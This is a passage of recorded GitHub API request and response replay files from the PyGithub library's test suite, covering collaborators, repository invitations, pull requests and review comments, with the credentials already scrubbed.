{"type":"User","url":"https://api.github.com/users/Lyloa","html_url":"https://github.com/Lyloa","company":null,"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":1,"following":0,"created_at":"2011-10-16T14:36:46Z","blog":null,"login":"Lyloa","public_gists":0,"hireable":false,"name":"Lyloa","bio":null,"id":1131432,"public_repos":0,"location":"Paris","email":"nyu@lyloa.net"} https PUT api.github.com None /repos/PyGithub/PyGithub/collaborators/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4953'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 05:34:27 GMT')] https GET api.github.com None /repos/PyGithub/PyGithub/invitations {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '2085'), ('x-runtime-rack', '0.048639'), ('etag', '"23ec009b721d7456726f15f2c6dc5f9d"'), ('status', '200 OK'), ('x-ratelimit-remaining', '4892'), ('x-github-media-type', 'github.v3; format=json'), ('date', 'Thu, 28 Dec 2017 16:31:19 GMT'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1514478935')] [{"node_id":"MDIwOlJlcG9zaXRvcnlJbnZpdGF0aW9uMTcyODUzODg=","repository":{"deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","private":false,"owner":{"disk_usage":16692,"total_private_repos":5,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","hireable":false,"id":327146,"blog":"http://vincent-jacques.net","followers":13,"location":"Paris,France","type":"User","email":"vincent@vincent-jacques.net","private_gists":5,"owned_private_repos":5,"company":"Criteo","html_url":"https://github.com/jacquev6","node_id":"MDQ6VXNlcjMyNzE0Ng==","plan":{"collaborators":1,"name":"micro","private_repos":5,"space":614400},"bio":"","public_gists":1,"collaborators":0,"name":"VincentJacques","url":"https://api.github.com/users/jacquev6","created_at":"2010-07-09T06:10:06Z","public_repos":10,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","following":24,"login":"jacquev6"},"tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","fork":true,"releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","html_url":"https://github.com/PyGithub/PyGithub","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","name":"PyGithub","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","full_name":"PyGithub/PyGithub","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","id":129349732,"keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","description":"TypedinteractionswiththeGitHubAPIv3","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","node_id":"MDEwOlJlcG9zaXRvcnkxMjkzNDk3MzI=","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","url":"https://api.github.com/repos/PyGithub/PyGithub","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers"},"permissions":"write","url":"https://api.github.com/user/repository_invitations/17285388","created_at":"2019-06-27T11:47:00Z","invitee":{"following_url":"https://api.github.com/users/Lyloa/following{/other_user}","gists_url":"https://api.github.com/users/Lyloa/gists{/gist_id}","organizations_url":"https://api.github.com/users/Lyloa/orgs","url":"https://api.github.com/users/Lyloa","events_url":"https://api.github.com/users/Lyloa/events{/privacy}","html_url":"https://github.com/Lyloa","subscriptions_url":"https://api.github.com/users/Lyloa/subscriptions","avatar_url":"https://avatars3.githubusercontent.com/u/52282986?v=4","repos_url":"https://api.github.com/users/Lyloa/repos","received_events_url":"https://api.github.com/users/Lyloa/received_events","gravatar_id":"","starred_url":"https://api.github.com/users/Lyloa/starred{/owner}{/repo}","site_admin":false,"login":"Lyloa","node_id":"MDQ6VXNlcjUyMjgyOTg2","type":"User","id":52282986,"followers_url":"https://api.github.com/users/Lyloa/followers"},"inviter":{"disk_usage":16692,"total_private_repos":5,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","hireable":false,"id":327146,"blog":"http://vincent-jacques.net","followers":13,"location":"Paris,France","type":"User","email":"vincent@vincent-jacques.net","private_gists":5,"owned_private_repos":5,"company":"Criteo","html_url":"https://github.com/jacquev6","node_id":"MDQ6VXNlcjMyNzE0Ng==","plan":{"collaborators":1,"name":"micro","private_repos":5,"space":614400},"bio":"","public_gists":1,"collaborators":0,"name":"VincentJacques","url":"https://api.github.com/users/jacquev6","created_at":"2010-07-09T06:10:06Z","public_repos":10,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","following":24,"login":"jacquev6"},"html_url":"https://github.com/PyGithub/PyGithub/invitations","id":17285388}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetPulls.txt0000644000175100001660000001066614756101563023545 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/pulls {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '4057'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"a659c559e34da168eba22cba60faf027"'), ('date', 'Sun, 27 May 2012 10:59:02 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Creation of a pull request from an issue is not covered by integration tests","state":"open","merged_at":null,"updated_at":"2012-05-27T10:58:41Z","head":{"user":null,"repo":{"description":"Python library implementing the full Github API v3","full_name":"BeaverSoftware/PyGithub","has_wiki":false,"has_issues":false,"updated_at":"2012-05-27T10:58:08Z","forks":0,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","open_issues":0,"fork":true,"svn_url":"https://github.com/BeaverSoftware/PyGithub","pushed_at":"2012-05-27T10:58:08Z","size":176,"html_url":"https://github.com/BeaverSoftware/PyGithub","private":false,"url":"https://api.github.com/repos/BeaverSoftware/PyGithub","clone_url":"https://github.com/BeaverSoftware/PyGithub.git","owner":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/BeaverSoftware","login":"BeaverSoftware","id":1424031},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":1,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","id":4460787,"created_at":"2012-05-27T08:50:04Z"},"label":"BeaverSoftware:master","sha":"aff8a573a19f0a42380e1c0cbbc63b6dc719f38e","ref":"master"},"body":"","number":32,"_links":{"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/32/comments"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/32"},"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/32"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/32/comments"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/32"}},"closed_at":null,"diff_url":"https://github.com/PyGithub/PyGithub/pull/32.diff","html_url":"https://github.com/PyGithub/PyGithub/pull/32","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/32","issue_url":"https://github.com/PyGithub/PyGithub/issues/32","id":1436310,"base":{"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"repo":{"description":"Python library implementing the full Github API v3","full_name":"PyGithub/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-27T10:54:09Z","forks":3,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:PyGithub/PyGithub.git","open_issues":17,"fork":false,"svn_url":"https://github.com/PyGithub/PyGithub","pushed_at":"2012-05-27T10:54:09Z","size":188,"html_url":"https://github.com/PyGithub/PyGithub","private":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","clone_url":"https://github.com/PyGithub/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":15,"git_url":"git://github.com/PyGithub/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"label":"jacquev6:topic/RewriteWithGeneratedCode","sha":"7ec473e793c0b63092d938707632639a41fd4369","ref":"topic/RewriteWithGeneratedCode"},"created_at":"2012-05-27T10:58:41Z","patch_url":"https://github.com/PyGithub/PyGithub/pull/32.patch"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetPullsComments.txt0000644000175100001660000001564214756101563025252 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/pulls/comments {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1617'), ('server', 'nginx'), ('last-modified', 'Fri, 21 Dec 2012 18:46:45 GMT'), ('connection', 'keep-alive'), ('etag', '"446137bf216c4edc30567fbc3e944b5a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Dec 2012 11:55:47 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] [{"body":"Review comment created for PyGithub","path":"codegen/templates/GithubObject.py","original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","original_position":5,"updated_at":"2012-09-11T20:06:32Z","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-09-11T20:06:32Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"position":5,"_links":{"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134"},"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134"}},"id":1580134}] https GET api.github.com None /repos/PyGithub/PyGithub/pulls/comments?sort=created&direction=asc {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '1617'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4960'), ('server', 'nginx'), ('last-modified', 'Fri, 21 Dec 2012 18:46:45 GMT'), ('connection', 'keep-alive'), ('etag', '"446137bf216c4edc30567fbc3e944b5a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Dec 2012 11:55:58 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134"},"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}},"body":"Review comment created for PyGithub","path":"codegen/templates/GithubObject.py","original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","original_position":5,"updated_at":"2012-09-11T20:06:32Z","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-09-11T20:06:32Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"position":5,"id":1580134}] https GET api.github.com None /repos/PyGithub/PyGithub/pulls/comments?since=2012-05-28T23%3A00%3A00Z {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '1617'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4959'), ('server', 'nginx'), ('last-modified', 'Fri, 21 Dec 2012 18:46:45 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"446137bf216c4edc30567fbc3e944b5a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Dec 2012 11:56:09 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"body":"Review comment created for PyGithub","path":"codegen/templates/GithubObject.py","original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","original_position":5,"updated_at":"2012-09-11T20:06:32Z","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"},"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134"}},"commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-09-11T20:06:32Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"position":5,"id":1580134}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetPullsWithArguments.txt0000644000175100001660000002436214756101563026265 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/pulls?state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4855'), ('content-length', '9992'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2e781638c71ac097640fc67cfcab8822"'), ('date', 'Tue, 29 May 2012 18:42:44 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"head":{"ref":"master","label":"BeaverSoftware:master","repo":{"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-29T18:09:14Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","html_url":"https://github.com/BeaverSoftware/PyGithub","has_wiki":false,"has_issues":false,"fork":true,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","forks":0,"size":428,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"PyGithub","mirror_url":null,"language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-29T18:05:10Z","created_at":"2012-05-29T18:03:19Z","id":4485562,"full_name":"BeaverSoftware/PyGithub"},"user":null,"sha":"ca6e7ef9ce22dc01290bb59507f24cc17f42daa4"},"updated_at":"2012-05-29T18:07:54Z","issue_url":"https://github.com/PyGithub/PyGithub/issues/39","_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/39"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/39/comments"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/39/comments"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/39"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/39"}},"body":"","diff_url":"https://github.com/PyGithub/PyGithub/pull/39.diff","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/39","base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/PyGithub/PyGithub.git","has_downloads":true,"watchers":17,"updated_at":"2012-05-29T18:07:54Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub","html_url":"https://github.com/PyGithub/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"git_url":"git://github.com/PyGithub/PyGithub.git","forks":3,"size":480,"private":false,"open_issues":14,"svn_url":"https://github.com/PyGithub/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","mirror_url":null,"language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:PyGithub/PyGithub.git","pushed_at":"2012-05-29T18:07:54Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"full_name":"PyGithub/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"d57aea6a898050115a089e6f86c5314d7daf97e8"},"number":39,"html_url":"https://github.com/PyGithub/PyGithub/pull/39","title":"Pull request to be merged by PyGithub with a custom commit message","patch_url":"https://github.com/PyGithub/PyGithub/pull/39.patch","closed_at":"2012-05-29T18:07:54Z","created_at":"2012-05-29T18:06:07Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"state":"closed","id":1448168,"merged_at":"2012-05-29T18:07:54Z"},{"head":{"ref":"master","label":"BeaverSoftware:master","repo":null,"user":null,"sha":"aff8a573a19f0a42380e1c0cbbc63b6dc719f38e"},"updated_at":"2012-05-27T11:03:53Z","issue_url":"https://github.com/PyGithub/PyGithub/issues/32","_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/32"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/32/comments"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/32/comments"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/32"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/32"}},"body":"","diff_url":"https://github.com/PyGithub/PyGithub/pull/32.diff","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/32","base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/PyGithub/PyGithub.git","has_downloads":true,"watchers":17,"updated_at":"2012-05-29T18:07:54Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub","html_url":"https://github.com/PyGithub/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"git_url":"git://github.com/PyGithub/PyGithub.git","forks":3,"size":480,"private":false,"open_issues":14,"svn_url":"https://github.com/PyGithub/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","mirror_url":null,"language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:PyGithub/PyGithub.git","pushed_at":"2012-05-29T18:07:54Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"full_name":"PyGithub/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"7ec473e793c0b63092d938707632639a41fd4369"},"number":32,"html_url":"https://github.com/PyGithub/PyGithub/pull/32","title":"Creation of a pull request from an issue is not covered by integration tests","patch_url":"https://github.com/PyGithub/PyGithub/pull/32.patch","closed_at":"2012-05-27T11:03:53Z","created_at":"2012-05-27T10:58:41Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"state":"closed","id":1436310,"merged_at":"2012-05-27T11:03:53Z"},{"head":{"ref":"master","label":"BeaverSoftware:master","repo":null,"user":null,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},"updated_at":"2012-05-27T10:49:27Z","issue_url":"https://github.com/PyGithub/PyGithub/issues/31","_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31"}},"body":"Body edited by PyGithub","diff_url":"https://github.com/PyGithub/PyGithub/pull/31.diff","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/PyGithub/PyGithub.git","has_downloads":true,"watchers":17,"updated_at":"2012-05-29T18:07:54Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub","html_url":"https://github.com/PyGithub/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"git_url":"git://github.com/PyGithub/PyGithub.git","forks":3,"size":480,"private":false,"open_issues":14,"svn_url":"https://github.com/PyGithub/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","mirror_url":null,"language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:PyGithub/PyGithub.git","pushed_at":"2012-05-29T18:07:54Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"full_name":"PyGithub/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"ed866fc43833802ab553e5ff8581c81bb00dd433"},"number":31,"html_url":"https://github.com/PyGithub/PyGithub/pull/31","title":"Title edited by PyGithub","patch_url":"https://github.com/PyGithub/PyGithub/pull/31.patch","closed_at":"2012-05-27T10:29:07Z","created_at":"2012-05-27T09:25:36Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"state":"closed","id":1436215,"merged_at":"2012-05-27T10:29:07Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 